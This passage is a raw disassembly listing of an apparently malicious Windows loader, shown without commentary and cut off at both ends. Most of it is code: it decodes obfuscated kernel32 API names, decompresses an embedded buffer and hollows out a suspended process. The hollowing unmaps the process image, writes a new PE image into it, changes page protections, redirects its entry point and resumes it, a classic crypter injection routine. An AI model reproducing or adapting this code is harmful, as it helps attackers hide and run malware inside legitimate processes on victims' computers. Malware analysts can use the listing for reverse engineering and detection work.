; CODE XREF: sub_4064C4+1F2j lea eax, [ebp+var_3C] push eax mov ecx, offset dword_4067A4 mov edx, 23h mov eax, ebx call sub_40513C mov eax, [ebp+var_3C] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_406727 lea eax, [ebp+var_40] push eax mov ecx, offset dword_4067A4 mov edx, 1005h mov eax, ebx call sub_40513C mov eax, [ebp+var_40] xor edx, edx call sub_4043F0 test eax, eax jnz short loc_40671A lea eax, [ebp+var_C] mov edx, offset dword_406808 call sub_402660 jmp short loc_406727 ; --------------------------------------------------------------------------- loc_40671A: ; CODE XREF: sub_4064C4+245j lea eax, [ebp+var_8] mov edx, offset dword_406818 call sub_402660 loc_406727: ; CODE XREF: sub_4064C4+222j ; sub_4064C4+254j push [ebp+var_8] push [ebp+var_4] push offset dword_406828 push [ebp+var_C] mov eax, offset dword_40A6D0 mov edx, 4 call sub_402900 push [ebp+var_8] push [ebp+var_4] push offset dword_406834 push [ebp+var_C] mov eax, offset dword_40A6D4 mov edx, 4 call sub_402900 mov cl, 2Ch mov edx, 0Ch mov eax, ebx call sub_405188 mov byte ptr ds:dword_40A77C+2, al xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406796 loc_406781: ; CODE XREF: sub_4064C4+2D0j lea eax, [ebp+var_40] mov edx, 10h call sub_4025EC retn ; --------------------------------------------------------------------------- loc_40678F: ; DATA XREF: sub_4064C4+13o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406781 ; --------------------------------------------------------------------------- loc_406796: ; CODE XREF: sub_4064C4+2CAj ; DATA XREF: sub_4064C4+2B8o pop ebx mov esp, ebp pop ebp retn sub_4064C4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_4067A4 dd 30h, 0FFFFFFFFh, 6 ; DATA XREF: sub_4064C4+60o ; sub_4064C4+84o ... dword_4067B0 dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_4064C4+105o dword_4067C0 dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 ; DATA XREF: sub_4064C4+132o dd 0FFFFFFFFh, 2 dword_4067D8 dd 6D61h, 0FFFFFFFFh, 2 ; DATA XREF: sub_4064C4+172o dword_4067E4 dd 6D70h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4064C4+194o dword_4067F0 dd 68h, 0FFFFFFFFh, 2 ; DATA XREF: sub_4064C4+1E8o dword_4067FC dd 6868h, 0FFFFFFFFh, 5 ; DATA XREF: sub_4064C4+1F7o dword_406808 dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA XREF: sub_4064C4+24Ao dword_406818 dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4064C4+259o dword_406828 dd 6D6D3Ah, 0FFFFFFFFh, 6 ; DATA XREF: sub_4064C4+269o dword_406834 dd 3A6D6D3Ah, 7373h ; DATA XREF: sub_4064C4+286o ; =============== S U B R O U T I N E ======================================= sub_40683C proc near ; CODE XREF: sub_406B98+27p push ebx mov ebx, offset dword_409294 jmp short loc_406854 ; --------------------------------------------------------------------------- loc_406844: ; CODE XREF: sub_40683C+1Bj mov eax, [ebx] mov edx, [eax] mov [ebx], edx mov edx, 8 call sub_401218 loc_406854: ; CODE XREF: sub_40683C+6j cmp dword ptr [ebx], 0 jnz short loc_406844 pop ebx retn sub_40683C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40685C proc near ; CODE XREF: sub_406D18+50p push ebx push offset aKernel32_dll ; "kernel32.dll" call GetModuleHandleA_0 mov ebx, eax test ebx, ebx jz short loc_40687D push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push ebx ; hModule call GetProcAddress_0 mov ds:dword_4090EC, eax loc_40687D: ; CODE XREF: sub_40685C+Fj cmp ds:dword_4090EC, 0 jnz short loc_406890 mov eax, offset sub_404520 mov ds:dword_4090EC, eax loc_406890: ; CODE XREF: sub_40685C+28j pop ebx retn sub_40685C endp ; --------------------------------------------------------------------------- align 4 ; char aKernel32_dll[] aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40685C+1o align 4 ; char aGetdiskfreespa[] aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40685C+11o ; =============== S U B R O U T I N E ======================================= sub_4068B8 proc near ; CODE XREF: sub_406B98+22p mov edx, [eax] xor ecx, ecx mov [eax], ecx mov eax, edx call sub_401F50 retn sub_4068B8 endp ; --------------------------------------------------------------------------- align 4 dword_4068C8 dd 1Dh ; DATA XREF: sub_406D18+1Ao dd offset dword_40928C dd offset off_4093A4 dd offset dword_409284 dd offset off_409360 dd offset dword_40927C dd offset off_4092D8 dd offset dword_409274 dd offset off_4093B4 dd offset dword_40926C dd offset off_4093C8 dd offset dword_409264 dd offset off_409328 dd offset dword_40925C dd offset off_409358 dd offset dword_409254 dd offset off_4092BC dd offset dword_40924C dd offset off_409368 dd offset dword_409244 dd offset off_409374 dd offset dword_40923C dd offset off_409340 dd offset dword_409234 dd offset off_409344 dd offset dword_40922C dd offset off_4093EC dd offset dword_409224 dd offset off_4093E4 dd offset dword_40921C dd offset off_409408 dd offset dword_409214 dd offset off_409398 dd offset dword_40920C dd offset off_409388 dd offset dword_409204 dd offset off_40940C dd offset dword_4091FC dd offset off_4093FC dd offset dword_4091F4 dd offset off_409350 dd offset dword_4091EC dd offset off_4093F0 dd offset dword_4091E4 dd offset off_4093F4 dd offset dword_4091DC dd offset off_409310 dd offset dword_4091D4 dd offset off_4092EC dd offset dword_4091CC dd offset off_409384 dd offset dword_4091C4 dd offset off_4093B0 dd offset dword_4091BC dd offset off_4092C0 dd offset dword_4091B4 dd offset off_4093E8 dd offset dword_4091AC dd offset off_40934C dword_4069B4 dd 28h ; DATA XREF: sub_406D18+24o dd offset off_4091A4 dd offset off_4093DC dd 0 dd offset off_4091A0 dd offset off_4092DC align 10h dd offset off_40919C dd offset off_4093AC dd 0 dd offset off_409198 dd offset off_4092CC align 8 dd offset off_409194 dd offset off_4092F8 dd 0 dd offset off_409190 dd offset off_4092F0 align 10h dd offset off_40918C dd offset off_4092E4 dd 0 dd offset off_409188 dd offset off_409348 align 8 dd offset off_409184 dd offset off_409394 dd 0 dd offset off_409180 dd offset off_4092F4 align 10h dd offset off_40917C dd offset off_409380 dd 0 dd offset off_409178 dd offset off_4093C4 align 8 dd offset off_409174 dd offset off_4093BC dd 0 dd offset off_409170 dd offset off_40939C align 10h dd offset off_40916C dd offset off_40933C dd 0 dd offset off_409168 dd offset off_409324 align 8 dd offset off_409164 dd offset off_4092C8 dd 0 dd offset off_409160 dd offset off_4093B8 align 10h dd offset off_40915C dd offset off_409370 dd 0 dd offset off_409158 dd offset off_40931C align 8 dd offset off_409154 dd offset off_409364 dd 0 dd offset off_409150 dd offset off_40938C align 10h dd offset off_40914C dd offset off_40936C dd 0 dd offset off_409148 dd offset off_409330 align 8 dd offset off_409144 dd offset off_4092C4 dd 0 dd offset off_409140 dd offset off_40935C align 10h dd offset off_40913C dd offset off_4093F8 dd 0 dd offset off_409138 dd offset off_4093D8 align 8 dd offset off_409134 dd offset off_40937C dd 0 dd offset off_409130 dd offset off_40930C align 10h dd offset off_40912C dd offset off_4092D0 dd 0 dd offset off_409128 dd offset off_4093D0 align 8 dd offset off_409124 dd offset off_409414 dd 0 dd offset off_409120 dd offset off_4092E8 align 10h dd offset off_40911C dd offset off_4092B8 dd 0 dd offset off_409118 dd offset off_4093E0 align 8 dd offset off_409114 dd offset off_409378 dd 0 dd offset off_409110 dd offset off_409400 align 10h dd offset off_4090FC dd offset off_409354 dd 0 dd offset off_4090F8 dd offset off_409314 align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B98 proc near ; DATA XREF: CODE:00407B5Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406D0D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A7C0 jnz loc_406CFF mov eax, offset dword_40A7CC call sub_4068B8 call sub_40683C call sub_406028 mov eax, offset off_4091E0 mov ecx, 16h mov edx, off_405B00 call sub_402C70 mov eax, offset dword_4091A8 mov ecx, 7 mov edx, off_405A80 call sub_402C70 mov eax, offset off_4090F0 mov ecx, 2 mov edx, off_401000 call sub_402C70 mov eax, offset off_4090E8 call sub_4025C8 mov eax, offset dword_40A7BC mov edx, off_40439C call sub_402E80 mov eax, offset dword_40A7B8 mov edx, off_404378 call sub_402E80 mov eax, offset dword_40A780 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A754 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A738 mov ecx, 7 mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A708 mov ecx, 0Ch mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A6D8 mov ecx, 0Ch mov edx, off_401000 call sub_402C70 mov eax, offset dword_40A6D4 call sub_4025C8 mov eax, offset dword_40A6D0 call sub_4025C8 mov eax, offset dword_40A6CC call sub_4025C8 mov eax, offset dword_40A6C8 call sub_4025C8 mov eax, offset dword_40A6C0 call sub_4025C8 mov eax, offset dword_40A6BC call sub_4025C8 mov eax, offset dword_40A6B0 call sub_4025C8 mov eax, offset dword_4090C4 call sub_4025C8 mov eax, offset dword_4090B0 call sub_402C24 mov eax, offset dword_4090AC call sub_4025C8 loc_406CFF: ; CODE XREF: sub_406B98+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406D14 loc_406D0C: ; CODE XREF: sub_406B98+17Aj retn ; --------------------------------------------------------------------------- loc_406D0D: ; DATA XREF: sub_406B98+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406D0C ; --------------------------------------------------------------------------- loc_406D14: ; CODE XREF: sub_406B98:loc_406D0Cj ; DATA XREF: sub_406B98+16Fo pop ebp retn sub_406B98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D18 proc near ; DATA XREF: CODE:00407B58o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406D80 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_40A7C0, 1 jnb short loc_406D72 mov eax, offset dword_4068C8 call sub_402464 mov eax, offset dword_4069B4 call sub_40248C cmp ds:byte_40A689, 0 jz short loc_406D5E mov eax, offset off_4090E8 mov edx, offset dword_406D94 call sub_40261C loc_406D5E: ; CODE XREF: sub_406D18+35j call sub_405FA4 call sub_406094 call sub_40685C call sub_4064C4 loc_406D72: ; CODE XREF: sub_406D18+18j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406D87 loc_406D7F: ; CODE XREF: sub_406D18+6Dj retn ; --------------------------------------------------------------------------- loc_406D80: ; DATA XREF: sub_406D18+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406D7F ; --------------------------------------------------------------------------- loc_406D87: ; CODE XREF: sub_406D18:loc_406D7Fj ; DATA XREF: sub_406D18+62o pop ebp retn sub_406D18 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_406D94 dd 7830h ; DATA XREF: sub_406D18+3Co ; [00000006 BYTES: COLLAPSED FUNCTION RtlDecompressBuffer. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_406DA0 proc near ; CODE XREF: sub_406DAC+25p ; sub_406E6C+31p ... test eax, eax jz short locret_406DA9 sub eax, 4 mov eax, [eax] locret_406DA9: ; CODE XREF: sub_406DA0+2j retn sub_406DA0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406DAC proc near ; CODE XREF: CODE:00407D0Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_402A28 xor eax, eax push ebp push offset loc_406E59 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_4] call sub_406DA0 mov ebx, eax cmp ebx, 4 jbe short loc_406E3C lea eax, [ebp+arg_4] call sub_402A8C mov edi, eax mov edx, [edi] mov eax, esi call sub_402BC0 cmp dword ptr [edi], 80000h jbe short loc_406E01 mov [ebp+var_8], 2 jmp short loc_406E08 ; --------------------------------------------------------------------------- loc_406E01: ; CODE XREF: sub_406DAC+4Aj mov [ebp+var_8], 102h loc_406E08: ; CODE XREF: sub_406DAC+53j lea eax, [ebp+var_4] push eax sub ebx, 4 push ebx lea eax, [ebp+arg_4] call sub_402A8C add eax, 4 push eax mov eax, [edi] push eax mov eax, esi call sub_402A8C push eax mov eax, [ebp+var_8] push eax call RtlDecompressBuffer mov eax, esi mov edx, [ebp+var_4] call sub_402BC0 jmp short loc_406E43 ; --------------------------------------------------------------------------- loc_406E3C: ; CODE XREF: sub_406DAC+2Fj mov eax, esi call sub_4025C8 loc_406E43: ; CODE XREF: sub_406DAC+8Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406E60 loc_406E50: ; CODE XREF: sub_406DAC+B2j lea eax, [ebp+arg_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_406E59: ; DATA XREF: sub_406DAC+17o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406E50 ; --------------------------------------------------------------------------- loc_406E60: ; CODE XREF: sub_406DAC+ACj ; DATA XREF: sub_406DAC+9Fo pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_406DAC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E6C proc near ; CODE XREF: CODE:00407D17p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor eax, eax mov [ebp+var_C], eax mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] call sub_402A28 xor eax, eax push ebp push offset loc_406F2F push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_4025C8 mov eax, [ebp+arg_4] call sub_406DA0 mov [ebp+var_8], eax mov ebx, 1 cmp ebx, [ebp+var_8] ja short loc_406F11 loc_406EAF: ; CODE XREF: sub_406E6C+A3j mov eax, [ebp+arg_4] mov al, [eax+ebx-1] test al, al jnz short loc_406EF2 mov eax, [ebp+arg_4] mov al, [eax+ebx] mov [ebp+var_1], al mov eax, [esi] call sub_406DA0 mov edi, eax xor edx, edx mov dl, [ebp+var_1] add edx, edi mov eax, esi call sub_402BC0 mov eax, esi call sub_402A8C add eax, edi xor edx, edx mov dl, [ebp+var_1] xor ecx, ecx call sub_401964 inc ebx jmp short loc_406F0B ; --------------------------------------------------------------------------- loc_406EF2: ; CODE XREF: sub_406E6C+4Cj lea eax, [ebp+var_C] mov edx, [ebp+arg_4] mov dl, [edx+ebx-1] call sub_40278C mov edx, [ebp+var_C] mov eax, esi call sub_402848 loc_406F0B: ; CODE XREF: sub_406E6C+84j inc ebx cmp ebx, [ebp+var_8] jbe short loc_406EAF loc_406F11: ; CODE XREF: sub_406E6C+41j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406F36 loc_406F1E: ; CODE XREF: sub_406E6C+C8j lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+arg_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_406F2F: ; DATA XREF: sub_406E6C+1Co jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406F1E ; --------------------------------------------------------------------------- loc_406F36: ; CODE XREF: sub_406E6C+C2j ; DATA XREF: sub_406E6C+ADo pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_406E6C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406F40 proc near ; DATA XREF: CODE:00407B64o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_406F65 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A7D0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406F6C loc_406F64: ; CODE XREF: sub_406F40+2Aj retn ; --------------------------------------------------------------------------- loc_406F65: ; DATA XREF: sub_406F40+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_406F64 ; --------------------------------------------------------------------------- loc_406F6C: ; CODE XREF: sub_406F40:loc_406F64j ; DATA XREF: sub_406F40+1Fo pop ebp retn sub_406F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406F70 proc near ; DATA XREF: CODE:00407B60o sub ds:dword_40A7D0, 1 retn sub_406F70 endp ; [00000006 BYTES: COLLAPSED FUNCTION VirtualProtectEx. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ZwUnmapViewOfSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_406F88 proc near ; CODE XREF: CODE:loc_407F33p push ebx xor ebx, ebx mov eax, offset aAddFileLocatio ; "add file location" call sub_404488 test al, al jz short loc_406F9B mov bl, 1 loc_406F9B: ; CODE XREF: sub_406F88+Fj mov eax, ebx pop ebx retn sub_406F88 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 11h aAddFileLocatio db 'add file location',0 ; DATA XREF: sub_406F88+3o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406FBC proc near ; CODE XREF: CODE:00407F46p pcbBuffer = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx xor edx, edx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_407029 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+pcbBuffer], 0FDh lea eax, [ebp+var_4] mov edx, 0FEh call sub_402BC0 lea eax, [ebp+pcbBuffer] push eax ; pcbBuffer mov eax, [ebp+var_4] call sub_402A38 push eax ; lpBuffer call GetUserNameA lea eax, [ebp+var_4] mov edx, [ebp+pcbBuffer] call sub_402BC0 mov eax, ebx mov edx, [ebp+var_4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407030 loc_407020: ; CODE XREF: sub_406FBC+72j lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_407029: ; DATA XREF: sub_406FBC+11o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407020 ; --------------------------------------------------------------------------- loc_407030: ; CODE XREF: sub_406FBC+6Cj ; DATA XREF: sub_406FBC+5Fo pop ebx pop ecx pop ecx pop ebp retn sub_406FBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407038 proc near ; CODE XREF: sub_4070E0+83p ; sub_4070E0+AAp ... var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi xor ecx, ecx mov [ebp+var_C], ecx mov esi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 xor eax, eax push ebp push offset loc_4070B8 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_402840 mov ebx, eax test ebx, ebx jle short loc_40709A mov edi, 1 loc_407074: ; CODE XREF: sub_407038+60j mov eax, [ebp+var_4] mov al, [eax+edi-1] mov [ebp+var_5], al lea eax, [ebp+var_C] mov dl, [ebp+var_5] sub dl, 31h call sub_40278C mov edx, [ebp+var_C] mov eax, esi call sub_402848 inc edi dec ebx jnz short loc_407074 loc_40709A: ; CODE XREF: sub_407038+35j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4070BF loc_4070A7: ; CODE XREF: sub_407038+85j lea eax, [ebp+var_C] call sub_4025C8 lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4070B8: ; DATA XREF: sub_407038+1Eo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4070A7 ; --------------------------------------------------------------------------- loc_4070BF: ; CODE XREF: sub_407038+7Fj ; DATA XREF: sub_407038+6Ao pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407038 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4070C8 proc near ; CODE XREF: sub_4070E0+2FBp lea edx, [eax+18h] movzx eax, word ptr [eax+14h] add edx, eax mov eax, edx retn sub_4070C8 endp ; =============== S U B R O U T I N E ======================================= sub_4070D4 proc near ; CODE XREF: sub_4070E0+343p shr eax, 1Dh mov eax, ds:dword_409298[eax*4] retn sub_4070D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070E0 proc near ; CODE XREF: CODE:00407F7Ep var_188 = dword ptr -188h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_174 = dword ptr -174h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_C0 = dword ptr -0C0h var_B4 = dword ptr -0B4h var_98 = dword ptr -98h var_68 = word ptr -68h hProcess = dword ptr -54h var_50 = dword ptr -50h var_44 = dword ptr -44h hModule = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_21 = byte ptr -21h var_20 = dword ptr -20h flOldProtect = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE78h push ebx push esi push edi xor ebx, ebx mov [ebp+var_188], ebx mov [ebp+var_184], ebx mov [ebp+var_180], ebx mov [ebp+var_17C], ebx mov [ebp+var_178], ebx mov [ebp+var_174], ebx mov [ebp+var_170], ebx mov [ebp+var_16C], ebx mov [ebp+var_168], ebx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_8] call sub_402A28 mov eax, [ebp+var_C] call sub_402A28 xor eax, eax push ebp push offset loc_4074EE push dword ptr fs:[eax] mov fs:[eax], esp push offset LibFileName ; "kernel32.dll" call LoadLibraryA mov [ebp+hModule], eax lea edx, [ebp+var_168] mov eax, offset dword_407518 call sub_407038 mov eax, [ebp+var_168] call sub_402A38 push eax ; lpProcName mov eax, [ebp+hModule] push eax ; hModule call GetProcAddress_0 mov ebx, eax lea edx, [ebp+var_16C] mov eax, offset dword_407530 call sub_407038 mov eax, [ebp+var_16C] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_3C], eax lea edx, [ebp+var_170] mov eax, offset dword_407544 call sub_407038 mov eax, [ebp+var_170] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov esi, eax lea edx, [ebp+var_174] mov eax, offset aXceesgctxtaqec ; "x₯ £t ₯©₯" call sub_407038 mov eax, [ebp+var_174] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov edi, eax lea edx, [ebp+var_178] mov eax, offset aGctxbgafcddCua ; "£ €€~ £ͺ" call sub_407038 mov eax, [ebp+var_178] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_28], eax lea edx, [ebp+var_17C] mov eax, offset dword_407594 call sub_407038 mov eax, [ebp+var_17C] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_2C], eax lea edx, [ebp+var_180] mov eax, offset aIgEcbgafcddCua ; "£₯£ €€~ £ͺ" call sub_407038 mov eax, [ebp+var_180] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_30], eax lea edx, [ebp+var_184] mov eax, offset aDceesgctxtaqec ; "₯ £t ₯©₯" call sub_407038 mov eax, [ebp+var_184] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_34], eax lea edx, [ebp+var_188] mov eax, offset dword_4075E4 call sub_407038 mov eax, [ebp+var_188] call sub_402A38 push eax mov eax, [ebp+hModule] push eax call ebx mov [ebp+var_38], eax xor ebx, ebx lea eax, [ebp+hProcess] xor ecx, ecx mov edx, 10h call sub_401964 lea eax, [ebp+var_98] xor ecx, ecx mov edx, 44h call sub_401964 mov [ebp+var_98], 44h xor eax, eax mov al, [ebp+arg_0] mov [ebp+var_68], ax lea eax, [ebp+hProcess] push eax lea eax, [ebp+var_98] push eax push 0 push 0 push 4 push 0 push 0 push 0 mov eax, [ebp+var_C] call sub_402A38 push eax mov eax, [ebp+var_8] call sub_402A38 push eax call esi test eax, eax jz loc_4074C3 mov [ebp+var_21], 1 xor eax, eax push ebp push offset loc_4074B5 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_164], 10002h lea eax, [ebp+var_164] push eax mov eax, [ebp+var_50] push eax call edi test eax, eax jz loc_40748A lea eax, [ebp+var_14] push eax push 4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_C0] add eax, 8 push eax mov eax, [ebp+hProcess] push eax call [ebp+var_28] test eax, eax jz loc_40748A mov eax, [ebp+var_10] push eax mov eax, [ebp+hProcess] push eax call ZwUnmapViewOfSection test eax, eax jl loc_40748A cmp [ebp+var_4], 0 jz loc_40748A mov eax, [ebp+var_4] mov eax, [eax+3Ch] add eax, [ebp+var_4] mov [ebp+var_20], eax push 4 push 3000h mov eax, [ebp+var_20] mov eax, [eax+50h] push eax mov eax, [ebp+var_20] mov eax, [eax+34h] push eax mov eax, [ebp+hProcess] push eax call [ebp+var_2C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40748A lea eax, [ebp+var_18] push eax mov eax, [ebp+var_20] mov eax, [eax+54h] push eax mov eax, [ebp+var_4] push eax mov eax, [ebp+var_10] push eax mov eax, [ebp+hProcess] push eax call [ebp+var_30] test eax, eax jz loc_40748A mov eax, [ebp+var_20] call sub_4070C8 mov esi, eax mov eax, [ebp+var_20] movzx eax, word ptr [eax+6] dec eax test eax, eax jb short loc_407445 inc eax mov [ebp+var_44], eax xor ebx, ebx loc_4073F4: ; CODE XREF: sub_4070E0+363j lea eax, [ebp+var_18] push eax lea edi, [ebx+ebx*4] mov eax, [esi+edi*8+10h] push eax mov eax, [esi+edi*8+14h] add eax, [ebp+var_4] push eax mov eax, [esi+edi*8+0Ch] add eax, [ebp+var_10] push eax mov eax, [ebp+hProcess] push eax call [ebp+var_30] test eax, eax jz short loc_40743F lea eax, [ebp+flOldProtect] push eax ; lpflOldProtect mov eax, [esi+edi*8+24h] call sub_4070D4 push eax ; flNewProtect mov eax, [esi+edi*8+8] push eax ; dwSize mov eax, [esi+edi*8+0Ch] add eax, [ebp+var_10] push eax ; lpAddress mov eax, [ebp+hProcess] push eax ; hProcess call VirtualProtectEx loc_40743F: ; CODE XREF: sub_4070E0+339j inc ebx dec [ebp+var_44] jnz short loc_4073F4 loc_407445: ; CODE XREF: sub_4070E0+30Cj lea eax, [ebp+var_18] push eax push 4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_C0] add eax, 8 push eax mov eax, [ebp+hProcess] push eax call [ebp+var_30] test eax, eax jz short loc_40748A mov eax, [ebp+var_20] mov eax, [eax+28h] add eax, [ebp+var_10] mov [ebp+var_B4], eax lea eax, [ebp+var_164] push eax mov eax, [ebp+var_50] push eax call [ebp+var_34] cmp eax, 1 sbb eax, eax inc eax mov [ebp+var_21], al loc_40748A: ; CODE XREF: sub_4070E0+259j ; sub_4070E0+27Cj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4074BC loc_407497: ; CODE XREF: sub_4070E0+3DAj cmp [ebp+var_21], 0 jnz short loc_4074AA push 0 ; uExitCode mov eax, [ebp+hProcess] push eax ; hProcess call TerminateProcess jmp short loc_4074B1 ; --------------------------------------------------------------------------- loc_4074AA: ; CODE XREF: sub_4070E0+3BBj mov eax, [ebp+var_50] push eax call [ebp+var_38] loc_4074B1: ; CODE XREF: sub_4070E0+3C8j mov bl, [ebp+var_21] retn ; --------------------------------------------------------------------------- loc_4074B5: ; DATA XREF: sub_4070E0+235o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407497 ; --------------------------------------------------------------------------- loc_4074BC: ; DATA XREF: sub_4070E0+3B2o mov eax, [ebp+hModule] push eax call [ebp+var_3C] loc_4074C3: ; CODE XREF: sub_4070E0+228j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4074F5 loc_4074D0: ; CODE XREF: sub_4070E0+413j lea eax, [ebp+var_188] mov edx, 9 call sub_4025EC lea eax, [ebp+var_C] mov edx, 2 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4074EE: ; DATA XREF: sub_4070E0+60o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4074D0 ; --------------------------------------------------------------------------- loc_4074F5: ; CODE XREF: sub_4070E0+40Dj ; DATA XREF: sub_4070E0+3EBo mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4070E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; char LibFileName[] LibFileName db 'kernel32.dll',0 ; DATA XREF: sub_4070E0+6Bo align 10h dd 0FFFFFFFFh, 0Eh dword_407518 dd 81A59678h, 7294A0A3h, 